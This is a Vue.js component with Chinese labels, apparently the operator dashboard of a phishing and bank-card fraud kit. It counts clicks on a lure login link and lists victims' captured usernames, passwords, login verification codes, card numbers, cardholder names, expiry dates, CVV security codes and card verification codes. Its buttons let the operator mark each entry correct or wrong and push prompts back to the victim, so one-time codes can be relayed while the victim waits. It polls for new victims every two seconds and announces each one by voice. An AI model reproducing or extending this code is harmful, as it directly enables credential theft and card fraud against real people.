<template>
  <div>
    <div>
      <el-row :gutter="20">
        <el-col :span="12">
          <div>
            <el-statistic
                group-separator=","
                :value="visiterNum"
                title="点击登录链接次数"
            ></el-statistic>
          </div>
        </el-col>
        <el-col :span="12">
          <div>
            <el-statistic
                group-separator=","
                :value="userNum"
                title="输入登录信息人数"
            ></el-statistic>
          </div>
        </el-col>
      </el-row>
    </div>
    <el-divider />
    <el-table
        :data="tableData"
        border
        stripe
        size="mini"
        style="width: 100%">
      <el-table-column
          prop="id"
          label="ID"
          width="40">
      </el-table-column>
      <el-table-column
          prop="createdTime"
          label="日期"
          width="140">
      </el-table-column>
      <el-table-column
          prop="name"
          label="账户名"
          width="180">
      </el-table-column>
      <el-table-column
          prop="password"
          width="300"
          label="密码">
      </el-table-column>
      <el-table-column
          prop="checkCode"
          width="120"
          label="登录验证码">
      </el-table-column>
      <el-table-column
          prop="cardNo"
          width="200"
          label="银行卡号">
      </el-table-column>
      <el-table-column
          prop="cardName"
          width="120"
          label="银行卡户名">
      </el-table-column>
      <el-table-column
          prop="expireDate"
          label="有效期">
      </el-table-column>
      <el-table-column
          prop="saftyCode"
          label="安全码">
      </el-table-column>
      <el-table-column
          prop="tianKaCheckCode"
          width="100"
          label="填卡验证码">
      </el-table-column>
      <el-table-column
          fixed="right"
          prop="status"
          width="110"
          label="状态">
      </el-table-column>
      <el-table-column
          fixed="right"
          label="操作"
          width="90">
        <template slot-scope="scope">
          <el-popover
              placement="bottom"
              trigger="click"
              width="150"
             >
            <div>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick(scope.row,'账户密码正确')" size="small">账户密码正确</el-button>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick1(scope.row)" size="small">账户密码错误</el-button>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick2(scope.row)" size="small">登录验证码正确</el-button>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick3(scope.row)" size="small">登录验证码错误</el-button>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick4(scope.row,'填卡正确')" size="small">填卡正确</el-button>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick5(scope.row)" size="small">填卡错误</el-button>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick6(scope.row)" size="small">填卡验证码正确</el-button>
                <el-button style="width: 150px;margin: 2px" type="warning" @click="handleClick7(scope.row)" size="small">填卡验证码错误</el-button>
            </div>
            <el-button :type="scope.row.checkCode ?'primary':'danger'" slot="reference">查看</el-button>
          </el-popover>
        </template>
      </el-table-column>
    </el-table>
    <div class="block" style="margin-top: 10px">
      <el-pagination
          @size-change="handleSizeChange"
          @current-change="handleCurrentChange"
          :current-page="pageNum"
          :page-sizes="[10, 20, 30, 40]"
          :page-size="pageSize"
          layout="total, sizes, prev, pager, next, jumper"
          :total="totalSize">
      </el-pagination>
    </div>

    <el-dialog
        title="输入验证码提示内容"
        :visible.sync="dialogVisible"
        width="30%">
      <el-input
          type="textarea"
          :rows="2"
          v-model="checkCodeMsg">
      </el-input>
      <span slot="footer" class="dialog-footer">
    <el-button @click="dialogVisible = false">取 消</el-button>
    <el-button type="primary" @click="handleCheckCodeMsg">确 定</el-button>
  </span>
    </el-dialog>
  </div>
</template>

<script>
import {listUser,updateUser,countInfo,getMaxId} from "@/api/baseApi";

export default {
  name: "UserList",
  data() {
    return {
      tableData: [],
      pageNum: 1,
      totalSize: 0,
      pageSize: 10,
      checkBtn: "primary",
      dialogVisible:false,
      checkCodeMsg:"",
      btnTitle:"",
      dataRow:{},
      userNum:0,
      visiterNum:0,
      maxUserId:0,
      maxVisiterId:0
    }
  },
  async created() {
    this.getTableData()

    const maxIdRes = await getMaxId()
    localStorage.setItem("maxUserId",maxIdRes.data.maxUserId)
    localStorage.setItem("maxVisiterId",maxIdRes.data.maxVisiterId)

    // 启动定时器，每2秒刷新一次
    this.timer = setInterval(() => {
      this.getTableData(this.pageNum,this.pageSize);
    }, 2000);

    this.tipTimer = setInterval(() => {
      this.conLinkTip()
      this.conLoginTip()
    }, 3000);


  },
  beforeDestroy() {
    // 组件销毁前清除定时器
    if (this.timer) {
      clearInterval(this.timer);
      this.timer = null;
    }
    if (this.tipTimer) {
      clearInterval(this.tipTimer);
      this.tipTimer = null;
    }

  },
  methods: {
    handleSizeChange(val) {
     this.pageSize = val
      this.getTableData(this.pageNum,val)
    },
    handleCurrentChange(val) {
      this.pageNum = val
      this.getTableData(val,this.pageSize)
    },
    async getTableData(pageNum=1,pageSize=10) {
      let params = {
        pageSize: pageSize,
        pageNum: pageNum
      }
      const resp =  await listUser(params)
      this.tableData=resp.data.records
      this.totalSize = resp.data.total
      const countres = await countInfo()
      this.userNum = countres.data.userNum
      this.visiterNum = countres.data.visiterNum
    },
    async conLoginTip(){
      const maxIdRes = await getMaxId()
      if(maxIdRes.data.maxUserId > localStorage.getItem("maxUserId")){
        this.$message({
          message: '有新用户登录',
          type: 'success',
          duration: 2000 // 消息显示时间(毫秒)
        });
        this.playLinkTextToSpeech()
        localStorage.setItem("maxUserId",maxIdRes.data.maxUserId)
      }

    },
    async conLinkTip(){
      const maxIdRes = await getMaxId()
      if(maxIdRes.data.maxVisiterId > localStorage.getItem("maxVisiterId")){
        this.$message({
          message: '有新用户点击链接',
          type: 'success',
          duration: 2000 // 消息显示时间(毫秒)
        });
        this.playLinkTextToSpeech()
        localStorage.setItem("maxVisiterId",maxIdRes.data.maxVisiterId)
      }

    },
    // 方案二：使用文本转语音(TTS)功能
    playLinkTextToSpeech() {
      // 检查浏览器是否支持SpeechSynthesis
      if ('speechSynthesis' in window) {
        const utterance = new SpeechSynthesisUtterance('有新用户点击链接');

        // 可以设置语音参数
        utterance.lang = 'zh-CN'; // 中文
        utterance.rate = 1; // 语速(1为正常)
        utterance.pitch = 1; // 音高(1为正常)

        speechSynthesis.speak(utterance);

        // 错误处理
        utterance.onerror = (event) => {
          console.error('语音合成错误:', event.error);
        };
      } else {
        console.error('你的浏览器不支持文本转语音功能');
      }
    },

    async handleClick(row,btnTitle) {
      this.dialogVisible = true
      this.dataRow = row
      this.btnTitle = btnTitle
    },
   async handleCheckCodeMsg(){
      if('账户密码正确' === this.btnTitle){
        let params = {
          'id':this.dataRow.id,
          'status':'账户密码正确',
          'checkCodeMsg':this.checkCodeMsg
        }
        await updateUser(params)
      }
     if('填卡正确' === this.btnTitle){
       let params = {
         'id':this.dataRow.id,
         'status':'填卡正确',
         'tianKaCheckCodeMsg':this.checkCodeMsg
       }
       await updateUser(params)
     }
     this.checkCodeMsg=''
     this.dialogVisible = false

      this.getTableData()
    },
    async handleClick1(row) {
      let params = {
        'id':row.id,
        'status':'账户密码错误'
      }
      await updateUser(params)
      this.getTableData()
    },
    async handleClick2(row) {
      let params = {
        'id':row.id,
        'status':'登录验证码正确'
      }
      await updateUser(params)
      this.getTableData()
    },
    async handleClick3(row) {
      let params = {
        'id':row.id,
        'status':'登录验证码错误'
      }
      await updateUser(params)
      this.getTableData()
    },
    async handleClick4(row,btnTitle) {
      this.dialogVisible = true
      this.dataRow = row
      this.btnTitle = btnTitle
    },
    async handleClick5(row) {
      let params = {
        'id':row.id,
        'status':'填卡错误'
      }
      await updateUser(params)
      this.getTableData()
    },
    async handleClick6(row) {
      let params = {
        'id':row.id,
        'status':'填卡验证码正确'
      }
      await updateUser(params)
      this.getTableData()
    },
    async handleClick7(row) {
      let params = {
        'id':row.id,
        'status':'填卡验证码错误'
      }
      await updateUser(params)
      this.getTableData()
    }
  }
}
</script>

<style scoped>

</style>